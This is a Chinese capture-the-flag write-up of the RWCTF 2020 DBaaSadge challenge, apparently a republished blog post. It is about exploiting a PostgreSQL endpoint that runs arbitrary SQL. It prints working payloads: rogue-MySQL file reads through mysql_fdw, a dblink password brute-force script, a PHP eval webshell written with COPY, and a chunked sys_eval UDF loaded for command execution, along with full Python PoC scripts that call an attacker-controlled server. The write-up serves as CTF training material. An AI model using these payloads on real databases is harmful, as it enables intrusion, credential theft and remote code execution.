2020RWCTF DBaaSadge WP
本文首发于“合天网安实验室” 作者: Smity
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。
看完文章可复制上方链接或者点击阅读原文体验实战靶场
前几天刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。
由于大部分关键的技术点是我队里的亲姐们——鱼🐟先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。
复现环境下载
微信后台回复:复现环境
获取下载链接
源码分析
打开题目直接显示源码
<?php error_reporting(0); if(!$sql=(string)$_GET["sql"]){ show_source(__FILE__); die(); } header('Content-Type: text/plain'); if(strlen($sql)>100){ die('That query is too long ;_;'); } if(!pg_pconnect('dbname=postgres user=realuser')){ die('DB gone ;_;'); } if($query = pg_query($sql)){ print_r(pg_fetch_all($query)); } else { die('._.?'); }
这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。
第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试
进入postgre交互式命令行的方式是
psql
如果你在这步就报错了,请切换到postgres用户再做pg_query的报错函数为:
print_r(pg_fetch_all($query));
因此我们在最后一个else里面加上这个函数
这样只要我们输入错误,显示的就是具体语句查询时候的报错。
接下来我们首先看看这个postgre的版本和用户
这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本
select user; select version();
根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。
当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路
接着我们在题目给的dockerfile里面看到他安装了两个扩展
在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展
其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库
select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');
而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式
于是我们亲爱的鱼就想到了rouge-mysql
这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)
从这里下载到脚本
https://github.com/allyshka/Rogue-MySql-Server
有两个版本,py版本和php版本,这里推荐php版本
py版本为什么不好原因有3:
1. 后台监听且不回显
(你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错)
2. 结果在同目录下的一个mysql.log文件里,差点没找到。
3. 每次读取还得自己改一下源码里面的文件名
php版本就很人性,动态输入文件名,然后直接回显在屏幕上。
postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子:
https://blog.csdn.net/bingluo8787/article/details/100958098
我们不用创建那么大的表格,随便填一个id int就行
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306'); CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root'); CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test'); select * from test; DROP SERVER mysql_server
最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改
最后读取的poc如下:
import requests import hashlib import random import uuid url ="http://54.219.197.26:60080/?sql=" #填你的IP ip="***" port="***" server_name="aaaa" dbname=server_name Table_name=server_name poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
#poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');" poc4="select * from "+Table_name+";" poc5="DROP SERVER "+server_name r1=requests.get(url+poc1) print(r1.text) r2=requests.get(url+poc2) print(r2.text) r3=requests.get(url+poc3) print(r3.text) r4=requests.get(url+poc4) print(r4.text)
在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件
那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。
这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害
我的想法
寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。
但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后:
这个很明显是不能够登录的,到了这里我就开始想爆破密码了
爆破的poc为
http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);
如果成功连接那么网页会回显
Array ( [0] => Array ( [dblink_connect] => OK ) )
错误则是回显颜文字
爆破的时候用的是burpsuite的Turbo intruder
Turbo 介绍
和普通的intruder不同,这个速度差不多是原来旧版本的10倍
我相信很多人还是在使用intruder(还是换了吧,那个确实慢)
每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好
当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址
https://portswigger.net/bappstore
这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以
主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好
然后爆破的时候需要在框里面填一下py的功能函数
如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):
from itertools import product def brute_veify_code(target, engine, length): pattern = '1234567890abcdefghijklmnopqrstuvwxyz' for i in list(product(pattern, repeat=length)): code = ''.join(i) engine.queue(target.req, code) def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=True ) brute_veify_code(target, engine, 6) def handleResponse(req, interesting): # currently available attributes are req.status, req.wordcount, req.length and req.response if 'error' not in req.response: table.add(req)
然后在url里面需要爆破的位置用%s表示
这个速度是真的很快的,一秒大概4000多个
如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。
然后这题6千万个密码,就把我电脑内存和带宽跑炸了......
鱼哥的做法
怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置
这里说一下postgre的交互式命令行
进入postgre的交互式命令行的命令为
psql
你也可以用
psql -c "commond"
来直接执行命令,和mysql一样
但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:
所以我们要切换到postgres用户
然后我们查询系统变量
这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好
然后我们进入目录下,发现一堆文件
如何寻找密码文件呢,前面看了conf文件为md5加密
这里教大家一个方便查找文件内容的命令egrep
egrep -r "内容" 目录
其中内容部分支持正则表达式
最后发现在global/1260里面
提供一个爆破md5的工具,这个是真的很快:
http://c3rb3r.openwall.net/mdcrack
爆破方式参考
http://www.91ri.org/1285.html
很快啊,他就直接出来了,前面5位就是密码,后面的是用户名
还记得dblink扩展的作用吗,用来连接postgre数据库。
然后我们就可以用dblink直接登录superuser了
所以剩下的问题就是用superuser执行命令的问题了
只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。
然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。
我的想法
由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。
没有概念的同学可以参考我前一篇发布的文章浅析mysql存储过程再学一下。
于是我实验了postgre的存储过程,也很快,因为这个确实熟悉
只要发送如图上两次请求就可以调用d函数中的select语句
但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。
但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)
鱼哥的想法
鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。
可以将
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
变形为
SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);
第一个select做连接,第二个做执行命令。
调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行
坑点又来了!
这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:
具体原因尚未分析。
varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。
要写入mysql的poc
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');
弄好以后差不多如下
然后poc:
import requests import random import uuid url ="http://IP/?sql=" poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);" r1=requests.get(url+poc1) print(r1.text) r2=requests.get(url+poc2) print(r2.text) r3=requests.get(url+poc3) print(r3.text) r4=requests.get(url+poc4) print(r4.text)
然后对面的/tmp目录就写了个文件
这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令
这个是固定的用法了
参考
https://blog.csdn.net/qq_33020901/article/details/79032774
这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可
大致过程如下:
- 按照题目postgre的大版本编一个符合版本的.so
- 将.so文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里
- 发送poc让对面服务器来我们这里查询出来语句并且执行
udf.so编译过程
先去这个网页下载编译程序
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
然后进入题目docker
先安装一个postgre-server-dev,不然很多头文件没有。
apt install postgresql-server-dev-all
然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。
然后将下载的复制到docker里面
make 10
就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so
报错不用管他
这个就是我们需要的udf.so
然后是分片
因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败
用python脚本去分割udf.so文件
Python
#~/usr/bin/env python 2.7 #-*- coding:utf-8 -*- import sys if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:python " + sys.argv[0] + "inputfile" sys.exit() fileobj = open(sys.argv[1],'rb') i = 0 for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) i = i + 1 if i % 2048 == 0: print "\n" fileobj.close()
会出来6个大块,分为6条语句,和参考网页里的一样
https://blog.csdn.net/qq_33020901/article/details/79032774 SELECT lo_create(9023); insert into pg_largeobject values (9023, 0, decode('...'); insert into pg_largeobject values (9023, 1, decode('...'); insert into pg_largeobject values (9023, 2, decode('...'); insert into pg_largeobject values (9023, 3, decode('...'); insert into pg_largeobject values (9023, 4, decode('...'); insert into pg_largeobject values (9023, 5, decode('...'); SELECT lo_export(9023, '/tmp/testeval.so');
实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题
然后删除原来的表,重新添加
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......
然后运行刚才的poc,写入/tmp/testeval.so
写入so以后,我们需要执行以下sql语句来执行命令
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; select sys_eval('id');
原来的参考网站有一条
drop function sys_eval;
应该是写错了,加了这个不能运行
再次清空我们服务器上的mysql数据表,重新建立
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");
然后再次运行poc,得到flag
总结
队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看
总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)